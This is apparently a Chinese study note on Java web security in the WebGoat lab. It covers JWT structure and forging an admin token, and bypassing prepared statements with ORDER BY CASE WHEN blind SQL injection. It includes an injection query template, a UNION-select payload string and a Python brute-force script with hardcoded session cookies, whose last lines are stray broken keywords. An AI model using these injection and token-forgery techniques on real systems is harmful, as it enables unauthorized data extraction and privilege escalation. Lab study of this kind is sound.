JAVA 安全-JWT 安全及预编译 CASE 注入

通过前期的 WEB 漏洞的学习,掌握了大部分的安全漏洞的原理及利用,但在各种脚本语言开发环境的差异下,会存在新的安全问题,其中脚本语言类型 PHP,Java,Python 等主流开发框架会有所差异

QQ截图20220309085332.jpg

QQ截图20220309085656.jpg

什么是 JWT

QQ截图20220309090112.jpg

  • JSON Web Token(JSON Web 令牌)是一种跨域验证身份的方案。JWT 不加密传输的数据,但能够通 过数字签名来验证数据未被篡改(但是做完下面的 WebGoat 练习后我对这一点表示怀疑)。
  • JWT 分为三部分,头部(Header),声明(Claims),签名(Signature),三个部分以英文句号.隔开。JWT 的内容以 Base64URL 进行了编码。

头部(Header)

  • alg : 是说明这个 JWT 的签名使用的算法的参数,常见值用 HS256(默认),HS512 等,也可以为 None。HS256 表示 HMAC SHA256。
  • typ : 说明这个 token 的类型为 JWT
{
    "alg":"HS256",
    "typ":"JWT"
}

声明(Claims)

  • iss : 发行人
  • exp : 到期时间
  • sub : 主题
  • aud : 用户
  • nbf : 在此之前不可用
  • iat : 发布时间
  • jti : JWT ID 用于标识该 JWT
{
    "exp": 1416471934,
    "user_name": "user",
    "scope": [
        "read",
        "write"
    ],
    "authorities": [
        "ROLE_ADMIN",
        "ROLE_USER"
    ],
    "jti": "9bc92a44-0b1a-4c5e-be70-da52075b9a84",
    "client_id": "my-client-with-secret"
}

签名(Signature)

  • 服务器有一个不会发送给客户端的密码(secret),用头部中指定的算法对头部和声明的内容用此密 码进行加密,生成的字符串就是 JWT 的签名。
// 下面是一个用 HS256 生成 JWT 的代码例子
HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload),secret)。

Javaweb-SQL 注入攻击-预编译机制绕过

  • 在使用参数化查询的情况下,数据库系统不会将参数的内容视为SQL指令的一部分来处理
  • 而是在数据库完成SQL指令的编译后,才套用参数运行,因此就算参数中含有破坏性的指令,也不会被数据库所运行。
  • 这个方式也不是能够绝对的进行 sql 注入防御,只是减轻。如参数绑定方式可以使用下面方式绕过。
  • 通过使用case when语句可以将order by后的orderExpression表达式中添加select语句。(原理类似堆叠注入,一条语句出现多条命令)
String query = "SELECT * FROM users WHERE last_name = ?";// 不允许一个占位符(?)有多个值
PreparedStatement statement = connection.prepareStatement(query);
statement.setString(1, accountName);
ResultSet results = statement.executeQuery();

进入靶场

QQ截图20220309092045.jpg

数据包分析(发送的请求指向的是源代码中的server)

QQ截图20220309092117.jpg

发现SQL语句,并且语句后面有order by(传递column参数),寻找传参column的地方

QQ截图20220309092926.jpg

抓包工具修改

QQ截图20220309092948.jpg

修改ip为1

QQ截图20220309093008.jpg

报错的时候存在order by,因此可以用case when语句

QQ截图20220309093037.jpg

case when原理:普通的按某一个字段或者多个字段排序没办法满足我们的需求时,可以通过case when来排序

QQ截图20220309093107.jpg

构造语句

select id, hostname, ip, mac, status, description from servers  where status <> 'out of order' order by case when(select substr(ip,{0},1)='{1}' from servers where hostname='webgoat-prd')
  • 根据报错构造Python脚本(webgoat在虚拟机里,不能用Python脚本跑)
  • 设置请求数据的数据头,和cookie
  • 设置请求的代理,也就是先发送给抓包工具
  • resp为request请求(目标URL,请求头(XML格式),cookie,代理)
  • 如果webgoat-acc字符串在返回的json数据的第一个元素的主机名,就认为是对的,就输出结果(emmmm感觉不太懂,只理解了如果是Java语句的SQL如果是预编译的的话,基本不能注入。除非存在order by,可以用order by case when 来构造查询语句(具体构造也不太会,突然感觉408和数据库的重要性),来进行数据库的查询。其实这个Python代码感觉挺有用的,但是代码看的似懂非懂
import requests
from string import digits
chars = digits+"."
data1 = "username_reg=tomx'+union+select+password+from+sql_challenge_users+where+userid%3D'teom'--+-&email_reg=7702%40qq.com&password_reg=123&confirm_password_reg=123"
headers = {
'X-Requested-With': 'XMLHttpRequest'
}
cookies = {
'JSESSIONID': 'ZwUabF1a2yNsk7UAWd05XAp0UEPB7CLJCZnZPvUX',
'JSESSIONID.75fbd09e': '7mc1x9iei6ji4xo2a3u4kbz1'
}
i = 0
result = ""
proxy={"http":"http://127.0.0.1:8888"}
while True:
    i += 1
    temp = result
    for char in chars:
        vul_url ="http://localhost:8080/WebGoat/SqlInjectionMitigations/servers?column=case%20when%20(select%20substr(ip,{0},1)='{1}'%20from%20servers%20where%20hostname='webgoatprd')%20then%20hostname%20else%20mac%20end".format(i, char)
        resp = requests.get(vul_url, headers=headers, cookies=cookies, proxies=proxy)
        # print(resp.json())
        if 'webgoat-acc' in resp.json()[0]['hostname']:
            result += char
            print(result)
            if temp == result:
                break
    while
    for
    if
    if

Javaweb-身份验证攻击-JWT 修改伪造攻击

  • 更改收到的令牌成为管理员用户,并且重置投票(管理员密码丢失)
  • 这里的操作和之前更改cookie的操作差不多,只是更改的数据是加密的数据

QQ截图20220309094232.jpg

点击Tom用户抓取数据包(传参用户和cookie,token为空白)

QQ截图20220309094250.jpg

点击重置投票(发现只有管理员才能重置),获取到一段cookie

QQ截图20220309094325.jpg

将cookie的acces_token数据解密

  • https://jwt.io/
  • 头部jwt使用算法的参数为HS512
  • 声明:iat:发布时间;admin:是否是管理员;user:用户名
  • 下面是签名,网站只能识别前面的首部和声明,后面的签名需要输入密匙才行

QQ截图20220309094633.jpg

修改首部和声明来绕过签名修改

  • 注意:在HTTP传输中,base64编码中的=,+,/等等特殊符号通过URL解码容易产生歧义,因此产生了与URL兼容的base64 URL编码

QQ截图20220309095118.jpg

QQ截图20220309095423.jpg

重置成功

QQ截图20220309095436.jpg